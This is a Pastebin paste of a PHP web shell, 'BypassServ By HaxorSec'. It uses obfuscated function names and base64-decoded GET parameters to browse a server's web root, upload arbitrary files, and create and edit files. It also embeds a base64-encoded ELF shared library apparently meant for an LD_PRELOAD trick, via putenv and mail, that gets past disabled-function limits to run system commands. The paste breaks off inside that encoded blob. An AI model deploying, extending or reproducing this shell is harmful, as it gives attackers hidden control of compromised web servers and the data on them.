M0usanony

shl

Dec 26th, 2024
51
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 27.64 KB | None | 0 0
  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <title>BypassServ By HaxorSec</title>
  5. <meta charset="UTF-8">
  6. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  7. <meta name="robots" content="noindex, nofollow">
  8. <meta name="googlebot" content="noindex">
  9. <link href="https://fonts.googleapis.com/css?family=Arial%20Black" rel="stylesheet">
  10. <style>
  11. body {
  12. font-family: 'Arial Black', sans-serif;
  13. color: #000;
  14. margin: 0;
  15. padding: 0;
  16. background-color: #242222c9;
  17. }
  18. .result-box-container {
  19. position: relative;
  20. margin-top: 20px;
  21. }
  22.  
  23. .result-box {
  24. width: 100%;
  25. height: 200px;
  26. padding: 10px;
  27. border: 1px solid #ddd;
  28. border-radius: 5px;
  29. background-color: #f4f4f4;
  30. overflow: auto;
  31. box-sizing: border-box;
  32. font-family: 'Arial Black', sans-serif;
  33. color: #333;
  34. }
  35.  
  36. .result-box::placeholder {
  37. color: #999;
  38. }
  39.  
  40. .result-box:focus {
  41. outline: none;
  42. border-color: #000000;
  43. }
  44.  
  45. .result-box::-webkit-scrollbar {
  46. width: 8px;
  47. }
  48.  
  49. .result-box::-webkit-scrollbar-thumb {
  50. background-color: #000000;
  51. border-radius: 4px;
  52. }
  53. .container {
  54. max-width: 90%;
  55. margin: 20px auto;
  56. padding: 20px;
  57. background-color: #ffffff;
  58. border-radius: 44px;
  59. box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
  60. }
  61. .header {
  62. text-align: center;
  63. margin-bottom: 20px;
  64. }
  65. .header h1 {
  66. font-size: 24px;
  67. }
  68. .subheader {
  69. text-align: center;
  70. margin-bottom: 20px;
  71. }
  72. .subheader p {
  73. font-size: 16px;
  74. font-style: italic;
  75. }
  76. form {
  77. margin-bottom: 20px;
  78. }
  79. form input[type="text"],
  80. form textarea {
  81. padding: 8px;
  82. margin-bottom: 10px;
  83. border: 1px solid #000;
  84. border-radius: 3px;
  85. box-sizing: border-box;
  86.  
  87. }
  88. form input[type="submit"] {
  89.  
  90. padding: 10px;
  91. background-color: #000000;
  92. color: white;
  93. border: none;
  94. border-radius: 3px;
  95. cursor: pointer;
  96. }
  97. form input[type="file"] {
  98. padding: 7px;
  99. background-color: #000000;
  100. color: white;
  101. border: none;
  102. border-radius: 3px;
  103. cursor: pointer;
  104. }
  105. .result-box {
  106. width: 100%;
  107. height: 200px;
  108. resize: none;
  109. overflow: auto;
  110. font-family: 'Arial Black';
  111. background-color: #f4f4f4;
  112. padding: 10px;
  113. border: 1px solid #ddd;
  114. margin-bottom: 10px;
  115. }
  116. form input[type="submit"]:hover {
  117. background-color: #143015;
  118. }
  119. table {
  120. width: 100%;
  121. border-collapse: collapse;
  122. margin-top: 20px;
  123. }
  124. th, td {
  125. padding: 8px;
  126. text-align: left;
  127. }
  128. th {
  129. background-color: #5c5c5c;
  130. }
  131. tr:nth-child(even) {
  132. background-color: #9c9b9bce;
  133. }
  134. .item-name {
  135. max-width: 200px;
  136. overflow: hidden;
  137. text-overflow: ellipsis;
  138. white-space: nowrap;
  139. }
  140. .size, .date {
  141. width: 100px;
  142. }
  143. .permission {
  144. font-weight: bold;
  145. width: 50px;
  146. text-align: center;
  147. }
  148. .writable {
  149. color: #0db202;
  150. }
  151. .not-writable {
  152. color: #d60909;
  153. }
  154. textarea[name="file_content"] {
  155. width: calc(100.9% - 10px);
  156. margin-bottom: 10px;
  157. padding: 8px;
  158. max-height: 500px;
  159. resize: vertical;
  160. border: 1px solid #ddd;
  161. border-radius: 3px;
  162. font-family: 'Arial Black';
  163. }
  164. </style>
  165. </head>
  166. <body>
  167. <div class="container">
  168. <?php
  169.  
  170. $chd = "c"."h"."d"."i"."r";
  171. $expl = "e"."x"."p"."l"."o"."d"."e";
  172. $scd = "s"."c"."a"."n"."d"."i"."r";
  173. $ril = "r"."e"."a"."l"."p"."a"."t"."h";
  174. $st = "s"."t"."a"."t";
  175. $isdir = "i"."s"."_"."d"."i"."r";
  176. $isw = "i"."s"."_"."w"."r"."i"."t"."a"."b"."l"."e";
  177. $mup = "m"."o"."v"."e"."_"."u"."p"."l"."o"."a"."d"."e"."d"."_"."f"."i"."l"."e";
  178. $bs = "b"."a"."s"."e"."n"."a"."m"."e";
  179. $htm = "h"."t"."m"."l"."s"."p"."e"."c"."i"."a"."l"."c"."h"."a"."r"."s";
  180. $fpc = "f"."i"."l"."e"."_"."p"."u"."t"."_"."c"."o"."n"."t"."e"."n"."t"."s";
  181. $mek = "m"."k"."d"."i"."r";
  182. $fgc = "f"."i"."l"."e"."_"."g"."e"."t"."_"."c"."o"."n"."t"."e"."n"."t"."s";
  183. $drnmm = "d"."i"."r"."n"."a"."m"."e";
  184. $unl = "u"."n"."l"."i"."n"."k";
  185. $timezone = date_default_timezone_get();
  186. date_default_timezone_set($timezone);
  187. $rootDirectory = $ril($_SERVER['\x44\x4f\x43\x55\x4d\x45\x4e\x54\x5f\x52\x4f\x4f\x54']);
  188. $scriptDirectory = $drnmm(__FILE__);
  189.  
  190. function x($b) {
  191.  
  192. $be = "ba"."se"."64"."_"."en"."co"."de";
  193. return $be($b);
  194. }
  195.  
  196. function y($b) {
  197. $bd = "ba"."se"."64"."_"."de"."co"."de";
  198. return $bd($b);
  199. }
  200. echo "<font color='black'>[ Command Bypas Status Wajib ON MAIL PUTENV @ HaxorSec]</font><br>";
  201. if (function_exists('mail')) {
  202. echo "<font color='black'>[ Function mail() ] :</font><font color='green'> [ ON ]</font><br>";
  203. } else {
  204. echo "<font color='black'>[ Function mail() ] :<font color='red'> [ OFF ]</font><br>";
  205. }
  206. if (function_exists('putenv')) {
  207. echo "<font color='black'>[ Function putenv() ] :</font><font color='green'> [ ON ]</font><br>";
  208. } else {
  209. echo "<font color='black'>[ Function putenv() ] :<font color='red'> [ OFF ]</font><br>";
  210. }
  211. foreach ($_GET as $c => $d) $_GET[$c] = y($d);
  212.  
  213. $currentDirectory = $ril(isset($_GET['d']) ? $_GET['d'] : $rootDirectory);
  214. $chd($currentDirectory);
  215.  
  216. $viewCommandResult = '';
  217.  
  218. if ($_SERVER['REQUEST_METHOD'] === 'POST') {
  219. if (isset($_FILES['fileToUpload'])) {
  220. $target_file = $currentDirectory . '/' . $bs($_FILES["fileToUpload"]["name"]);
  221. if ($mup($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
  222. echo "<hr>File " . $htm($bs($_FILES["fileToUpload"]["name"])) . " Upload success<hr>";
  223. } else {
  224. echo "<hr>Sorry, there was an error uploading your file.<hr>";
  225. }
  226. } elseif (isset($_POST['folder_name']) && !empty($_POST['folder_name'])) {
  227. $ff = $_POST['folder_name'];
  228. $newFolder = $currentDirectory . '/' . $ff;
  229. if (!file_exists($newfolder)) {
  230. if ($mek($newFolder) !== false) {
  231. echo '<hr>Folder created successfully!';
  232. }else{
  233. echo '<hr>Error: Failed to create folder!';
  234. }
  235. }
  236.  
  237. } elseif (isset($_POST['file_name'])) {
  238. $fileName = $_POST['file_name'];
  239. $newFile = $currentDirectory . '/' . $fileName;
  240. if (!file_exists($newFile)) {
  241. if ($fpc($newFile, '') !== false) {
  242. echo '<hr>File created successfully!' . $fileName .' ';
  243. $fileToView = $newFile;
  244. if (file_exists($fileToView)) {
  245. $fileContent = $fgc($fileToView);
  246. $viewCommandResult = '<hr><p>Result: ' . $fileName . '</p>
  247. <form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'">
  248. <textarea name="content" class="result-box">' . $htm($fileContent) . '</textarea><td>
  249. <input type="hidden" name="edit_file" value="' . $fileName . '">
  250. <input type="submit" value=" Save "></form></td>';
  251. } else {
  252. $viewCommandResult = '<hr><p>Error: File not found!</p>';
  253. }
  254. } else {
  255. echo '<hr>Error: Failed to create file!';
  256. }
  257. }else{
  258. echo '<hr>Error: File Already Exists!';
  259. }
  260. } elseif (isset($_POST['cmd_input'])){
  261. $p = "p"."u"."t"."e"."n"."v";
  262. $a = "fi"."le_p"."ut_c"."ont"."e"."nt"."s";
  263. $m = "m"."a"."i"."l";
  264. $base = "ba"."se"."64"."_"."de"."co"."de";
  265. $en = "ba"."se"."64"."_"."en"."co"."de";
  266. $drnm = "d"."i"."r"."n"."a"."m"."e";
  267. $currentFilePath = $_SERVER['PHP_SELF'];
  268. $doc = $_SERVER['DOCUMENT_ROOT'];
  269. $directoryPath = $drnm($currentFilePath);
  270. $full = $doc . $directoryPath;
  271. $hook = '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BwAAAAwAAAAAAAAAAAAAAEiD7AhIiwW9CCAASIXAdAL/0EiDxAjDAP810gggAP8l1AggAA8fQAD/JdIIIABoAAAAAOng/////yXKCCAAaAEAAADp0P////8lwgggAGgCAAAA6cD/////JboIIABoAwAAAOmw/////yWyCCAAaAQAAADpoP////8lqgggAGgFAAAA6ZD/////JaIIIABoBgAAAOmA/////yWaCCAAaAcAAADpcP////8lkgggAGgIAAAA6WD/////JSIIIABmkAAAAAAAAAAASI09gQggAEiNBYEIIABVSCn4SInlSIP4DnYVSIsF1gcgAEiFwHQJXf/gZg8fRAAAXcMPH0AAZi4PH4QAAAAAAEiNPUEIIABIjTU6CCAAVUgp/kiJ5UjB/gNIifBIweg/SAHGSNH+dBhIiwWhByAASIXAdAxd/+BmDx+EAAAAAABdww8fQABmLg8fhAAAAAAAgD3xByAAAHUnSIM9dwcgAABVSInldAxIiz3SByAA6D3////oSP///13GBcgHIAAB88MPH0AAZi4PH4QAAAAAAEiNPVkFIABIgz8AdQvpXv///2YPH0QAAEiLBRkHIABIhcB06VVIieX/0F3pQP///1VIieVIjT16AAAA6FD+//++/wEAAEiJx+iT/v//SI09YQAAAOg3/v//SInH6E/+//+QXcNVSInlvgEAAAC/AQAAAOhZ/v//6JT+//+FwHQKvwAAAADodv7//5Bdw1VIieVIjT0lAAAA6FP+///o/v3//+gZ/v//kF3DAABIg+wISIPECMNDSEFOS1JPAExEX1BSRUxPQUQAARsDOzQAAAAFAAAAuP3//1AAAABY/v//eAAAAGj///+QAAAAnP///7AAAADF////0AAAAAAAAAAUAAAAAAAAAAF6UgABeBABGwwHCJABAAAkAAAAHAAAAGD9//+gAAAAAA4QRg4YSg8LdwiAAD8aOyozJCIAAAAAFAAAAEQAAADY/f//CAAAAAAAAAAAAAAAHAAAAFwAAADQ/v//NAAAAABBDhCGAkMNBm8MBwgAAAAcAAAAfAAAAOT+//8pAAAAAEEOEIYCQw0GZAwHCAAAABwAAACcAAAA7f7//x0AAAAAQQ4QhgJDDQZYDAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsAgAAAAAAAAAAAAAAAAAAHAIAAAAAAAAAAAAAAAAAAABAAAAAAAAALsAAAAAAAAADAAAAAAAAAAYBwAAAAAAAA0AAAAAAAAAXAkAAAAAAAAZAAAAAAAAAPgNIAAAAAAAGwAAAAAAAAAQAAAAAAAAABoAAAAAAAAACA4gAAAAAAAcAAAAAAAAAAgAAAAAAAAA9f7/bwAAAADwAQAAAAAAAAUAAAAAAAAAMAQAAAAAAAAGAAAAAAAAADgCAAAAAAAACgAAAAAAAADpAAAAAAAAAAsAAAAAAAAAGAAAAAAAAAADAAAAAAAAAAAQIAAAAAAAAgAAAAAAAADYAAAAAAAAABQAAAAAAAAABwAAAAAAAAAXAAAAAAAAAEAGAAAAAAAABwAAAAAAAABoBQAAAAAAAAgAAAAAAAAA2AAAAAAAAAAJAAAAAAAAABgAAAAAAAAA/v//bwAAAABIBQAAAAAAAP///28AAAAAAQAAAAAAAADw//9vAAAAABoFAAAAAAAA+f//bwAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgOIAAAAAAAAAAAAAAAAAAAAAAAAAAAAEYHAAAAAAAAVgcAAAAAAABmBwAAAAAAAHYHAAAAAAAAhgcAAAAAAACWBwAAAAAAAKYHAAAAAAAAtgcAAAAAAADGBwAAAAAAAGAQIAAAAAAAR0NDOiAoRGViaWFuIDYuMy4wLTE4K2RlYjl1MSkgNi4zLjAgMjAxNzA1MTYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAQDIAQAAAAAAAAAAAAAAAAAAAAAAAAMAAgDwAQAAAAAAAAAAAAAAAAAAAAAAAAMAAwA4AgAAAAAAAAAAAAAAAAAAAAAAAAMABAAwBAAAAAAAAAAAAAAAAAAAAAAAAAMABQAaBQAAAAAAAAAAAAAAAAAAAAAAAAMABgBIBQAAAAAAAAAAAAAAAAAAAAAAAAMABwBoBQAAAAAAAAAAAAAAAAAAAAAAAAMACABABgAAAAAAAAAAAAAAAAAAAAAAAAMACQAYBwAAAAAAAAAAAAAAAAAAAAAAAAMACgAwBwAAAAAAAAAAAAAAAAAAAAAAAAMACwDQBwAAAAAAAAAAAAAAAAAAAAAAAAMADADgBwAAAAAAAAAAAAAAAAAAAAAAAAMADQBcCQAAAAAAAAAAAAAAAAAAAAAAAAMADgBlCQAAAAAAAAAAAAAAAAAAAAAAAAMADwB4CQAAAAAAAAAAAAAAAAAAAAAAAAMAEACwCQAAAAAAAAAAAAAAAAAAAAAAAAMAEQD4DSAAAAAAAAAAAAAAAAAAAAAAAAMAEgAIDiAAAAAAAAAAAAAAAAAAAAAAAAMAEwAQDiAAAAAAAAAAAAAAAAAAAAAAAAMAFAAYDiAAAAAAAAAAAAAAAAAAAAAAAAMAFQDYDyAAAAAAAAAAAAAAAAAAAAAAAAMAFgAAECAAAAAAAAAAAAAAAAAAAAAAAAMAFwBgECAAAAAAAAAAAAAAAAAAAAAAAAMAGABoECAAAAAAAAAAAAAAAAAAAAAAAAMAGQAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAADAAAAAEAEwAQDiAAAAAAAAAAAAAAAAAAGQAAAAIADADgBwAAAAAAAAAAAAAAAAAAGwAAAAIADAAgCAAAAAAAAAAAAAAAAAAALgAAAAIADABwCAAAAAAAAAAAAAAAAAAARAAAAAEAGABoECAAAAAAAAEAAAAAAAAAUwAAAAEAEgAIDiAAAAAAAAAAAAAAAAAAegAAAAIADACwCAAAAAAAAAAAAAAAAAAAhgAAAAEAEQD4DSAAAAAAAAAAAAAAAAAApQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAArAAAAAEAEABoCgAAAAAAAAAAAAAAAAAAugAAAAEAEwAQDiAAAAAAAAAAAAAAAAAAAAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAxgAAAAEAFwBgECAAAAAAAAAAAAAAAAAA0wAAAAEAFAAYDiAAAAAAAAAAAAAAAAAA3AAAAAAADwB4CQAAAAAAAAAAAAAAAAAA7wAAAAEAFwBoECAAAAAAAAAAAAAAAAAA+wAAAAEAFgAAECAAAAAAAAAAAAAAAAAAEQEAABIAAAAAAAAAAAAAAAAAAAAAAAAAJQEAACAAAAAAAAAAAAAAAAAAAAAAAAAAQQEAABAAFwBoECAAAAAAAAAAAAAAAAAA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